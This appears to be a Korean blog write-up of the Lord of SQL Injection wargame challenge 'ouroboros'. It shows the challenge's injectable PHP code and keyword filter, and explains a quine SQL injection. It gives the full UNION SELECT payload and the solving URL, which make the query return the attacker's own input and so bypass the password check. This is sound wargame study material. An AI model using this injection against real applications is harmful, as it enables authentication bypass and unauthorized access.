문제 30번 - ouroboros
query : select pw from prob_ouroboros where pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
highlight_file(__FILE__);
?>
다른 문제와 같이 php 코드가 주어져있다.
먼저 필터링 함수를 확인하면 prob와 _ , . , rollup, join, @을 필터링하고 i를 통해 대소문자를 구분하지 않는 것을 확인할 수 있다.
<?php
if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
?>
clear 조건을 확인해보니 입력하는 pw와 result pw가 같아야한다는 것을 알 수 있다. (아마 pw를 찾지 않을까?)
추가로 쿼리를 통해 가져온 pw를 출력해준다.
<?php
$query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
highlight_file(__FILE__);
?>
어떻게 푸는건지 고민하다가 정말 모르겠어서 다른 라업을 참고했다.
이 문제는 quine sql injection을 이용하는 것인데 quine이란 소스코드를 그대로 출력으로 반환하는 프로그램을 의미한다.
이 문제를 quine sql injection으로 푸는 이유는 입력하는 pw와 result pw가 같기만 하면 해결되므로 입력한 소스코드를 그대로 반환하면 입력과 출력이 같으므로 우회가 가능해지기 때문이다.
---> 즉, 사용자가 전달한 값과 쿼리의 결과 값이 동일한지 확인하는 검증로직이 존재할 때 인증우회가 가능한 방법이다.
따라서 quine 쿼리를 그대로 입력해준다.
a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw#') as pw# 를 url에 맞게 입력하면 된다. (#만 %23으로)
pw=a' union select replace(replace('a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23',char(34),char(39)),char(36),'a" union select replace(replace("$",char(34),char(39)),char(36),"$") as pw%23') as pw%23 를 입력한다.
solve
https://los.rubiya.kr/chall/ouroboros_e3f483f087c922c84373b49950c212a9.php?pw=a%27%20union%20select%20replace(replace(%27a%22%20union%20select%20replace(replace(%22$%22,char(34),char(39)),char(36),%22$%22)%20as%20pw%23%27,char(34),char(39)),char(36),%27a%22%20union%20select%20replace(replace(%22$%22,char(34),char(39)),char(36),%22$%22)%20as%20pw%23%27)%20as%20pw%23
이 문제는 푸는 방법이 되게 신박해서 기억에 오래 남을 것 같다.(다음에 보면 풀 수 있기를..)
'write-up > LOS write-up' 카테고리의 다른 글
LOS (Lord of SQL injection) 문제 29번 phantom write-up (0) | 2021.07.14 |
---|---|
LOS (Lord of SQL injection) 문제 28번 frankenstein write-up (0) | 2021.07.14 |
LOS (Lord of SQL injection) 문제 27번 blue_dragon write-up (2) | 2021.07.13 |
LOS (Lord of SQL injection) 문제 26번 red_dragon write-up (0) | 2021.07.13 |
LOS (Lord of SQL injection) 문제 25번 green_dragon write-up (0) | 2021.07.12 |